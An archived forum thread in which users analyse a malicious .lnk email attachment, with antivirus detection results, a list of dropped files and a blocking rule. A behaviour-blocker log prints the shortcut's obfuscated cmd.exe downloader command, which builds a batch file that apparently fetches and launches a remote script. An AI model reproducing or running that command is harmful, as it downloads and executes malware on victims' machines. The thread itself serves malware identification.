收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 邮件收到的。。。。奇怪东西。。。
返回列表 发新帖
查看: 1928|回复: 9
收起左侧

[病毒样本] 邮件收到的。。。。奇怪东西。。。

[复制链接]
dnaeva
发表于 2009-12-27 17:44:33 | 显示全部楼层 |阅读模式
本帖最后由 dnaeva 于 2009-12-27 17:45 编辑

RT。。。。后缀是“.lnk”也是病毒么？。。。。第一次看见这种东西

a-squared4.5.0.432009.12.27-
AhnLab-V35.0.0.22009.12.26-
AntiVir7.9.1.1222009.12.26TR/Dldr.PIF.UP
Antiy-AVL2.0.3.72009.12.25Trojan/Win32.Pif
Authentium5.2.0.52009.12.26-
Avast4.8.1351.02009.12.27Win32:Lnkget
AVG8.5.0.4302009.12.26Worm/AutoRun.IC
BitDefender7.22009.12.27-
CAT-QuickHeal10.002009.12.26-
ClamAV0.94.12009.12.27-
Comodo33842009.12.27-
DrWeb5.0.1.122222009.12.27Pif.Download.based
eSafe7.0.17.02009.12.24-
eTrust-Vet35.1.71982009.12.25-
F-Prot4.5.1.852009.12.26-
F-Secure9.0.15370.02009.12.27-
Fortinet4.0.14.02009.12.27LNK/Dloader.UP!tr.dldr
GData192009.12.26Win32:Lnkget
IkarusT3.1.1.79.02009.12.27Virus.Win32.Lnkget
Jiangmin13.0.9002009.12.27TrojanDownloader.Lnk.a
K7AntiVirus7.10.9312009.12.26-
Kaspersky7.0.0.1252009.12.27Trojan-Downloader.Win32.Pif.up
McAfee58432009.12.26-
McAfee+Artemis58432009.12.26-
McAfee-GW-Edition6.8.52009.12.27Trojan.Dldr.PIF.UP
Microsoft1.53022009.12.26-
NOD3247182009.12.27-
Norman6.04.032009.12.26-
nProtect2009.1.8.02009.12.27-
Panda10.0.2.22009.12.15-
PCTools7.0.3.52009.12.27-
Prevx3.02009.12.27-
Rising22.27.06.042009.12.27-
Sophos4.49.02009.12.27Mal/DownLnk-B
Sunbelt3.2.1858.22009.12.26-
Symantec1.4.4.122009.12.27-
TheHacker6.5.0.3.1132009.12.26-
TrendMicro9.120.0.10042009.12.27-
VBA323.12.12.02009.12.26-
ViRobot2009.12.26.21092009.12.26-
VirusBuster5.0.21.02009.12.26-

MD拦截LOG：
2009/12/27 17:39:02    创建新进程    阻止
进程: c:\program files\winrar\winrar.exe
目标: c:\windows\system32\cmd.exe
命令行: "C:\WINDOWS\system32\cmd.exe" /C seT s=TfT&SET b=eT gE&set e=T V.Vb&ECHO %s%P %S%FT.n%b%t %E%s>gg.BaT&ECho sTAR%e%s>>GG.bat&gg.bAT
规则: [应用程序]*

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

王子带着刀
发表于 2009-12-27 17:57:36 | 显示全部楼层
NOD32的误报挺少的
回复

举报

中国崛起
发表于 2009-12-27 19:58:05 | 显示全部楼层
费尔报LNK.TrojanDlr.a，最近很流行这种快捷方式的病毒，你自己想想，快捷方式一定会对应某个文件，无缘无故给你一个快捷方式的图标正常吗
回复

举报

wliao
发表于 2009-12-27 20:26:48 | 显示全部楼层
Files added: 5
--------------------
C:\Documents and Settings\Owner\Local Settings\Temp\Rar$DI03.937\搂?.lnk
C:\WINDOWS\gg.BaT
C:\WINDOWS\V.Vbs
C:\WINDOWS\d.exe
C:\WINDOWS\system32\vvmpb.exe
回复

举报

IllusionWing
发表于 2009-12-27 22:27:04 | 显示全部楼层
UG7
Heur.MultiCallerLNK
回复

举报

BING126
头像被屏蔽
发表于 2009-12-27 22:28:15 | 显示全部楼层
to McAfee
回复

举报

夏族血腾
头像被屏蔽
发表于 2009-12-27 23:54:06 | 显示全部楼层

本帖子中包含更多资源

您需要 登录 才可以下载或查看，没有帐号？快速注册

x
回复

举报

username
发表于 2009-12-28 00:05:01 | 显示全部楼层
可
命令行
*\cmd.exe* /C set*>>*
阻止
回复

举报

303898443
发表于 2009-12-28 11:15:29 | 显示全部楼层
卡巴192阻止下载。
回复

举报

jason_jiang
发表于 2009-12-28 12:21:02 | 显示全部楼层
to f-secure
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2026-4-20 04:20 , Processed in 0.095791 second(s), 4 queries , Redis On.

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表